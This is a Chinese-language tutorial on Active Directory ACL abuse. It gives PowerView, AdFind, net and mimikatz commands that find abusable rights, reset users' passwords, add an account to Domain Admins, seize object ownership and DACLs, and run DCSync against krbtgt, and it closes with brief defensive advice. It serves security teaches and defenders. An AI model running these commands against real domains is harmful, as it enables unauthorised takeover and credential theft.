Abusing AD ACL
字数 1268 2025-08-05 00:16:38

Active Directory ACL 滥用攻击技术详解

0x01 ACL 简介

Active Directory 访问控制列表(ACL)主要有两种类型:

  1. DACL (自由访问控制列表) - 负责权限访问控制
  2. SACL (系统访问控制列表) - 负责日志记录功能

每条规则称为 ACE (访问控制条目),由 SDDL (安全描述符定义语言)定义。

0x02 攻击者感兴趣的对象权限

1. GenericAll (完全对象控制)

权限能力

  • 将用户添加到组
  • 更改用户密码
  • 向对象用户注册 SPN

利用示例

# 查找对user1有GenericAll权限的用户
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}

# 使用iis用户更改user1密码
net user user1 newpassword /domain

2. Self (Self-Membership)

权限能力

  • 自成员权限,可将自己添加到组

利用示例

# 查找对Domain Admins组有WriteProperty权限的账号
Get-ObjectAcl -SamAccountName "CN=Domain Admins,CN=Users,DC=muxue,DC=com" -ResolveGUIDs

# 将自己加入域管组
net group "domain admins" user1 /add /domain

3. GenericWrite (通用写入)

权限能力

  • 更新目标对象参数值
  • 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性(基于资源的约束委派)

利用示例

# 查找对win7有写入权限的用户
Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}

# 添加机器用户
net computer \\evilpc /add

4. AllExtendedRights (所有扩展权限)

权限能力

  • 强制更改目标用户密码(ForceChangePassword)

利用示例

# 查找ForceChangePassword权限
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*extended*"}

# 重置密码
Set-ADAccountPassword -Identity user1 -NewPassword (ConvertTo-SecureString "newpass" -AsPlainText -Force)

5. WriteProperty (写入属性)

权限能力

  • 将用户加入组

利用示例

# 使用AdFind查找权限
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com," ntsecuritydescriptor -sddlfilter ;;;;;iis -sddl+++ -recmute -sdna -s basea -s base

6. WriteOwner (写入所有者)

权限能力

  • 修改对象安全描述符的所有者

利用示例

# 查找组的SID
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com"

# 修改所有者
Set-DomainObjectOwner -Identity S-1-5-21-511003792-1237030605-620821399-512 -OwnerIdentity "iis" -Verbose

7. WriteDACL (写入DACL)

权限能力

  • 修改对象的权限

利用示例

# 查找WriteDacl权限
Get-ObjectAcl -SamAccountName "acltest" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}

# 添加GenericAll权限
Add-DomainObjectAcl -TargetIdentity acltest -PrincipalIdentity iis -Rights All -Verbose

8. DCSync (域复制)

所需权限

  • DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-In-Filtered-Set (可选,GUID: 89e95b76-444d-4c62-991a-0facbeda640c)

利用示例

# 使用mimikatz进行DCSync
mimikatz # lsadump::dcsync /domain:muxue.com /user:krbtgt

0x03 攻击组合技术

  1. Exchange 组合攻击:利用Exchange服务器权限进行ACL滥用
  2. 中继攻击组合:结合NTLM中继进行DCSync
  3. AdminSDHolder 攻击:利用AdminSDHolder容器的特殊权限特性

防御建议

  1. 定期审计Active Directory权限分配
  2. 实施最小权限原则
  3. 监控敏感权限变更
  4. 限制特权账户的使用范围
  5. 启用详细的安全日志记录

工具推荐

  1. PowerView.ps1 - 查询和修改ACL
  2. AdFind.exe - 查询AD对象信息
  3. Mimikatz - DCSync攻击
  4. Rubeus - Kerberos票据操作
  5. Impacket - 多种AD攻击工具集

通过深入理解这些ACL权限和攻击技术,安全团队可以更好地防御Active Directory环境中的权限滥用风险。

Active Directory ACL 滥用攻击技术详解 0x01 ACL 简介 Active Directory 访问控制列表(ACL)主要有两种类型: DACL (自由访问控制列表) - 负责权限访问控制 SACL (系统访问控制列表) - 负责日志记录功能 每条规则称为 ACE (访问控制条目),由 SDDL (安全描述符定义语言)定义。 0x02 攻击者感兴趣的对象权限 1. GenericAll (完全对象控制) 权限能力 : 将用户添加到组 更改用户密码 向对象用户注册 SPN 利用示例 : 2. Self (Self-Membership) 权限能力 : 自成员权限,可将自己添加到组 利用示例 : 3. GenericWrite (通用写入) 权限能力 : 更新目标对象参数值 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性(基于资源的约束委派) 利用示例 : 4. AllExtendedRights (所有扩展权限) 权限能力 : 强制更改目标用户密码(ForceChangePassword) 利用示例 : 5. WriteProperty (写入属性) 权限能力 : 将用户加入组 利用示例 : 6. WriteOwner (写入所有者) 权限能力 : 修改对象安全描述符的所有者 利用示例 : 7. WriteDACL (写入DACL) 权限能力 : 修改对象的权限 利用示例 : 8. DCSync (域复制) 所需权限 : DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-In-Filtered-Set (可选,GUID: 89e95b76-444d-4c62-991a-0facbeda640c) 利用示例 : 0x03 攻击组合技术 Exchange 组合攻击 :利用Exchange服务器权限进行ACL滥用 中继攻击组合 :结合NTLM中继进行DCSync AdminSDHolder 攻击 :利用AdminSDHolder容器的特殊权限特性 防御建议 定期审计Active Directory权限分配 实施最小权限原则 监控敏感权限变更 限制特权账户的使用范围 启用详细的安全日志记录 工具推荐 PowerView.ps1 - 查询和修改ACL AdFind.exe - 查询AD对象信息 Mimikatz - DCSync攻击 Rubeus - Kerberos票据操作 Impacket - 多种AD攻击工具集 通过深入理解这些ACL权限和攻击技术,安全团队可以更好地防御Active Directory环境中的权限滥用风险。